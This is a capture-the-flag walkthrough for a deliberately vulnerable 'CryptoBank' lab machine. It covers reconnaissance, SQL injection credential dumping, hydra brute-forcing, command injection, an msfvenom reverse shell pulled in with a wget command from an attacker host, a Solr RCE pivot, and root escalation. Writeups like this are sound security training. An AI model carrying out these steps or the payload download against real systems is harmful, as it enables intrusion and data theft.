💱Crypto Bank

Welcome to CryptoBank, the best Crypto platform to store and trade your crypto assets, join now! Our platform uses advanced technology to protect your assets. Our experienced engineers have taken extra measures to keep our infrastructure secure.

Goal: Hack the CryptoBank in order to reach their cold Bitcoin wallet (root flag)

1. Reconnaissance

  • Scanning the network to find vulnerable machine's IP

arp-scan -l                                                     
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:02:ad:e6, IPv4: 192.168.10.22
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1	52:54:00:12:35:00	QEMU
192.168.10.2	52:54:00:12:35:00	QEMU
192.168.10.3	08:00:27:4b:43:c3	PCS Systemtechnik GmbH
192.168.10.24	08:00:27:26:22:ed	PCS Systemtechnik GmbH

  • We find the IP of the vulnerable machine to be 192.168.10.24

  • Adding the hostname cryptobank.local (which can be found out by accessing the webpage and proceeding to the secure login page which shows an error as the host name was not resolved) to the /etc/hosts file for resolving the IP address

2. Scanning

2.1 Nmap

  • Using nmap to find the open ports and their services

  • We find tcp ports 22 and 80 open with ssh and Apache running respectively.

:80

It contains a webpage for a crypto application

2.2 Directory Enumeration

  • Using gobuster to brute-force directories

  • We find some interesting directories

/development

  • In order to access this page, we need to be authenticated

/trade

  • We see a login page for a trading platform

2.3 Vulnerability scanning

  • Using nikto to scan for any vulnerable or exposed critical information

  • We find a info.php page which contains the details about the php version used, which is always good to know.

2.4 SQL injection vulnerability

  • We can use burpsuite pro to crawl and scan cryptobank.local/trade to find any vulnerabilities

  • We find out that the login page is vulnerable to SQL Injection

  • We need to capture the login request in burpsuite and save it as a text file request.txt for later enumerations using sqlmap

2.5 Credential dumping

  • Since we found out that cryptobank.local/trade is vulnerable to SQL Injection, we can use sql map to dump out potential credentials

  • Getting the database names:

  • We get 4 databases cryptobank, information_schema, mysql and performanceU

  • Out of these the most interesting and potential database for credentials is cryptobank

  • Dumping the tables in cryptobank:

  • We get tablenames of accounts, comments and loans , out of which accounts might carry potential credentials

  • Getting the columns from the table accounts

  • We get 4 columns : balance, id_account, password and username

  • Dumping the data from columns username and password

  • Saving the usernames and password in files users.txt and passwords.txt respectively

  • On further exploration of the webpage cryptobank.local, we get more potential usernames from under the core team by clicking on the email icon below the team members. Adding these to users.txt too.

2.6 Brute-forcing login credentials

  • Using hydra and the obtained credentials to brute-force the /development login portal.

We get the credentials julius.b : wJWm4CgV26

2.7 Recursive directory scanning

We can use dirb to recursively find any directories under /development. Since it requires authentication, we need to pass in the credentials along with it.

  • Reading out the contents of development/backups/home/development/php.ini, we can see that there is a firewall called NinjaFirewall active, which might block out potential reverse shell uploads. We need to find some way to execute commands directly.

  • We get a directory called .git under /development/backups/home which could be a copy of the git repository and might contain potential vectors.

2.8 Rebuiding git

  • GitHack is a tool used to dump the contents of a .git folder by rebuilding it and preserving the directory structure

  • Cloning it from its GitHub repository and executing the command with the /.git path specified

  • Searching for any interesting files in the git folder

  • We get a file named CommandExec.php which contains the login configuration

  • As we can see from the above code, the username field in the /development/tools/CommandExecution/CommandExec.php is vulnerable to command injection when validated with the same password, wJWm4CgV26

3. Initial Foothold

  • Navigating to the homepage of /tools(http://cryptobank.local/development/tools/homepage.html), we can see three useful sections.

  • Since there is a firewall sitting in front of the network, the most probable way of getting a reverse shell would be command execution.We proceed with Execute a command

  • Using Run system command option

  • Testing the vulnerability by inputting ls(or any other command with a visible output) in the username field and the password wJWm4CgV26

  • We find that we can execute commands in the Username field

3.1 Crafting payload

  • Crafting a bash reverse shell using msfvenom and the payload cmd/unix/reverse_bash and saving it as reverse.sh

  • Hosting the payload localy using a python server

  • Uploading the payload to the target by wget http://HOSTIP:8000/reverse.sh in the Username field

3.2 Reverse shell

  • Firing up msfconsole and setting the module to exploit/multi/handler to capture our reverse shell.

  • Setting the payload to cmd/unix/reverse_bash the same one which we used to craft the payload with msfvenom

  • Changing the LHOST and LPORT (default is 4444) and running it

  • Since we already uploaded the payload to the target, we need to run it.

  • Executing the payload by running bash reverse.sh

  • We get an open metasploit command shell.

  • We are the user www-data

  • Backgrounding our session using Ctrl + Z to session 1

  • Stabilizing the shell to a meterpreter shell by using sessions -u 1

  • Getting a meterpreter stable shell on session 2, using it by sessions -i 2

4. Pivoting

  • After gaining the meterpreter session, we can run netstat to discover any other connections to the application.

  • We find a service/application running on 172.17.0.1:8983

  • We can bind it to our localhost using port forwardingg.(binding it to port 8983)

  • Accessing the application via the browser (localhost:8983)

  • We see that it is running Apache Solar which is an open-source enterprise search platform, running an outdated version (8.1.1)

4.1 Remote Code Execution

  • Using searchsploit (in another terminal tab) to search for potential exploits of solr

  • We find an RCE for Apache Solr 8.2.0, which can be used here

  • Moving the module to our current directory

  • Uploading the exploit 47572.py to the /tmp directory of the target using the meterpreter session

  • Spawning and stabilizing a bash shell

  • Starting a netcat listener in port 7777 in a new terminal window

  • Executing the exploit with the proper syntax provided with the IP address and port from which Apache solar service is running and using netcat for a reverse connection

  • We get a connection to our listener; stabilizing the shell.

5. Privilege Escalation

  • Using sudo -l, we find out that user solr can run all commands as root

  • Escalating the privilege (using the default password of solr) and getting the flag.txt located at /root

PreviousColddboxNextGoldenEye

Last updated